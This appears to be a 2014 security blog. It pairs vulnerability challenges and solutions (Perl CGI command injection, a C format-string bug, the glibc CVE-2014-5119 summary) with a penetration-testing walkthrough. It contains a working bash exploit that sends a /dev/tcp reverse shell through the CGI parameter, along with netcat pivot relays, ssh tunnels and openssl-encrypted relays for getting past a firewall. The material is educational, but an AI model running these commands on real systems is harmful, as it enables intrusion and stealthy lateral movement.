Sunday, October 5, 2014

Software flaw #7: Solution

Vulnerability

Vulnerability from this week is example of OS command injection class of errors. Main cause of this vulnerability is complete lack of sanity check of program's input data:

#!/usr/bin/perl

use CGI qw{param};

print "Content-type: text/html\n\n";

sub ping {
  $host = $_[0]; # [2]

  print("<html><head><title>Ping results</title></head><body><pre>");

  @output = `ping -c 3 $host 2>&1`; # [3]
  foreach $line (@output) { print "$line"; } 

  print("</pre></body></html>");

}

# check if Host set. if not, display normal page, etc

ping(param("Host")); # [1]

As we can see at [1] URL parameter 'Host' is provided to 'ping' subroutine. At [2] it is assigned to local variable '$host'. This variable is used at [3] without any sanity checks in OS shell context. Basically it allows to execute arbitrary shell comand with privileges of httpd server process on vulnerable machine.

Exploitation

Here's simple example of how this type of flaw could be exploited (the code is self-explanatory):

#!/bin/bash

# exploit usage: launch exploit from external machine as $1 provide IP to nebula machine

# standard payload to do the level (boring)
PAYLOAD=getflag

# more interesting approch (gives you reverse shell)
IP=$1
REVERSE_IP=$2
REVERSE_PORT=$3

#bash -i >& /dev/tcp/<IP>/<PORT> 0>&1
PAYLOAD2=bash%20%2Di%20%3E%26%20/dev/tcp/${REVERSE_IP}/${REVERSE_PORT}%200%3E%261

if [ -z "$1" ]
then
    echo "Usage: `basename $0` <nebula-machine-ip-address> <reverse-ip> <reverse-port>"
    exit 1
fi

(sleep 1; curl http://${IP}:7007/index.cgi?Host=localhost%3B"${PAYLOAD2}") &
nc -l -p 2222 -vvv

Mitigation

All input data should be carefully validated before use. In this particular example purpose of the program is to ping chosen machine so the program should only accept IP addresses or hostnames as input data, all other input should be discarded. Additionally program should automatically remove command separators used in UNIX shells (';' or %3B in url encoding) because it allows to execute additional commands as seen in the exploit above.

Wednesday, October 1, 2014

Software flaw #7

Not much time left this week so this time something really easy. Old plain CGI script written in Perl (one of levels from http://www.exploit-exercises.com):

#!/usr/bin/perl

use CGI qw{param};

print "Content-type: text/html\n\n";

sub ping {
  $host = $_[0];

  print("<html><head><title>Ping results</title></head><body><pre>");

  @output = `ping -c 3 $host 2>&1`;
  foreach $line (@output) { print "$line"; } 

  print("</pre></body></html>");

}

# check if Host set. if not, display normal page, etc

ping(param("Host"));

Vulnerability

What type of vulnerability is this? Why this code is vulnerable?

Exploitation

How one could exploit this code? What could be achieved by the exploit?

Mitigation

How to fix this vulnerability? What countermeasure(s) could be put in place in order to make exploitation harder (or impossible)?

My solution will be published on 5.10.2014.

Monday, September 29, 2014

Software flaw #6: Solution

Vulnerability

Flaw covered this week is classical example of format string vulnerability.

Problem is that the whole format string provided to printf function is user controlled, so one has total control over it: he can make it look like this: %s%s%s%s or this %s%s%s%s%s%s%s%s%s%s%s%s%n. That's not good.

Exploitation

Formt string vulnerability is quite severe and could lead to overwriting arbitrary memory address with user controlled value - which ultimately leads to taking over process's execution flow typically by overwriting .dotrs section or overwriting entry in GOT table.

Exploitation of these kind of problems take advantage of %n format specifier in printf function (and it's derivatives). More detalis can be found here.

The only not so obvious (at least at first spot) part in this week's vulnerable piece of code is this line:

if(argc) exit(0);

Basically it prevents us from providing input data via command line arguments. Therefore it seems that we can't take advantage of format string flaw from next line:

printf(argv[3]);

To overcome this inconvenience one has to realize that in absence of command line arguments program's execution parameters will look like this:

argv[0]env[0]env[1]env[2]env[3]...env[n]
                     ^
                     |
                  argv[3]

so argv[3] will point to env[2] environment variable which can be used as source of input data.

Mitigation

The obvious fix is to replace this line:

printf(argv[3]);

with the following:

printf("%s", argv[3]);

This way format string won't be controlled by the user and therefore code won't be vulnerable anymore.

To partially harden your Linux platform against these type of attacks one can compile program with -Wl,-z,relro flags which will prevent from overwritng GOT table entries (which is commonly used in exploiting this type of flaws as mentionted in Exploitation section). Additionally compiling with _FORTIFY_SOURCE=2 flag will warn about misuses of function which use format strings.

Monday, September 22, 2014

Software flaw #6

Vulnerable C code from one of overthewire.org levels:

#include <stdlib.h>

int main(int argc, char **argv)
{
    if(argc) exit(0);
    printf(argv[3]);
    exit(EXIT_FAILURE);
}

Vulnerability

What type of vulnerability is this? Why this code is vulnerable?

Exploitation

How one could exploit this code? What could be achieved by the exploit?

Mitigation

How to fix this vulnerability? What countermeasure(s) could be put in place in order to make exploitation harder (or impossible)?

Solution will be published on 28.09.2014.

Saturday, September 6, 2014

Software flaw #5: NUL byte off-by-one overwrite into the heap

CVE-2014-5119 vulnerability was reported in glibc by Tavis Ormandy member of Google's Zero Project.

Vulnerability

Vulnerable code lies in glibc's internal function __gconv_translit_find, here's vulnerable part (from glibc's bugzilla):

[...]
cp = __mempcpy (__stpcpy ((char *) newp->fname, runp->name),
                  trans->name, name_len);
if (need_so)
    memcpy (cp, ".so", sizeof (".so"));
[...]

cp points after the NUL terminator, so the memcpy call does not actually append ".so", but copies four bytes starting after the terminating NUL character, not changing the string at all - and writing a single NUL byte after the end of the buffer.

Exploitation

Zero Project Team released PoC exploit for this innocent looking flaw.

pkexec binary is chosen as a target of this PoC. Main idea behind it is to take advantage of so called backward consolidation of a heap but since the size of chunk is fixed and always the same (".so" as 32bit pointer is equal to 0x6f732e00), so also memory leak found in pkexec had to be used to spray the heap.

Wednesday, September 3, 2014

Monthly threat update #15: August

Friday, August 15, 2014

Penetration testing with pick

This post ilustrates usage of libxploit and accompanied pick tool together with some lateral movement techniques during penetration test.

Scenario

Let's say we are testing following network:

        tester-machine
              |
              |
          test-infra
              |
              |
              *
           firewall
              |
              |
  winbox:445 --- linbox:80

Details:

  • tester-machine: tester's machine
  • test-infra: machine available on the Internet with ssh access owned by tester
  • firewall: tested network's edge firewall that blocks all inbound traffic except HTTP/HTTPS traffic, outbound traffic is allowed only on ports 80 and 443
  • linbox: tested network web server with vulnerable software for which libxploit has exploit (let's say awstats ver. 6.1)
  • winbox: Windows machine with file sharing service that we want to access

After preliminary scan (for example with Nmap) we learn that linbox runs vulnerable software (awstats ver. 6.1). Then basic workflow is as follows:

Owning the linbox machine

To own the linbox machine (for better ops-sec it should be done via tor but libxploit doesn't support it yet), use reverse-shell on port 443 to evade traffic filtering on firewall:

First, prepare connection handler:

tester-machine$ nc -l -p 443

Getting the shell:

tester-machine$ ./pick --exploit exec-awstats --payload cmd-reverse-perl --exploit-opts RHOST=linbox.ip,RPORT=80 --payload-opts LHOST=tester-machine.ip,LPORT=443

Exposing internal service to the tester

Normally file sharing service on winbox is filtered by firewall, so it needs to be exposed via ports 80 or 443 to the tester:

Use netcat listener-to-listener relay on test-infra machine:

test-infra$ mknod bpipe p; nc -nlp 445 0<bpipe | nc -nlp 443 >bpipe

Then on linbox use netcat client-to-client relay:

linbox$ mknod bpipe p; nc -n winbox 445 0<bpipe | nc -n attack-infra 443 >bpipe

Now internal file sharing service is available on port 445 on test-infra machine. It can be accessed using SMB aware tool, or using nc for demonstration purposes:

tester-machine$ nc test-infra 445

Shell access to linbox can be terminated now.

This accomplishes our initial goal of exposing internal service to the tester but number of improvements can be added to make this process more stealthy.

Improvements

Improvement #1: do not touch target network directly from tester's machine

Initial compromise is done directly from tester-machine. Better idea is to proxy it via attack-infra or possibly some other machine, but in order to do that we need to employ some cli fu first:

Set local ssh port forwarding which effectivly forwards 127.0.0.1:1234 to linbox:80 via ssh tunnel with test-infra machine:

tester-machine$ ssh -L 1234:linbox:80 user@test-infra.ip

Set reverse shell connection handler:

tester-machine$ nc -l -p 443

Create second ssh tunnel (this time using remote port forwarding) with test-infra machine for handling payload's reverse connection, it will forward connections from test-infra:443 to tester-machine:443 which is our connection handler:

tester-machine$ ssh -R 443:localhost:443 user@test-infra.ip

Finally exploit vulnerable software on linbox:

tester-machine$ ./pick --exploit exec-awstats --payload cmd-reverse-perl --exploit-opts RHOST=127.0.0.1,RPORT=1234 --payload-opts LHOST=test-infra.ip,LPORT=443

Improvement #2: tunnel communication with file sharing service (between test-infra and tester-machnie nodes) via ssh

Final communication between tester-machine and test-infra nodes goes in clear via public networks, it can be tunneled via ssh.

So instead of accessing file sharing process this way:

tester-machine$ nc test-infra 445

let's tunnel it through ssh connection:

tester-machine$ ssh -L 4445:localhost:445 user@test-infra.ip

Then we can access file sharing service more securely via tester-machine's 4445 port:

tester-machine$ nc localhost 4445

Improvement #3: encrypt communication with file sharing service (between linbox and test-infra nodes)

Final communication between linbox and test-infra on port 443 is in plain text, it can be encrypted with openssl to make it look more like legitimate traffic on this port. For this purpose we can use something similar to this modified for our purpose.

First, our listener-to-listener nc relay on test-infra has to modified to encrypt all the data comming from tester-machine and decrypt data originating from linbox:

test-infra$ mknod bpipe p; nc -nlp 445 0<bpipe | openssl enc -a -aes-256-cbc -k someKey | nc -nlp 443 | openssl enc -d -a -aes-256-cbc -k someKey >bpipe

We also need to use modified client-to-client nc relay on linbox:

linbox$ mknod bpipe p; nc -n winbox 445 0<bpipe | openssl enc -a -aes-256-cbc -k someKey | nc -n attack-infra 443 | openssl enc -d -a -aes-256-cbc -k someKey >bpipe

This gives as 2-way encrypted communication channel between test-infra and linbox.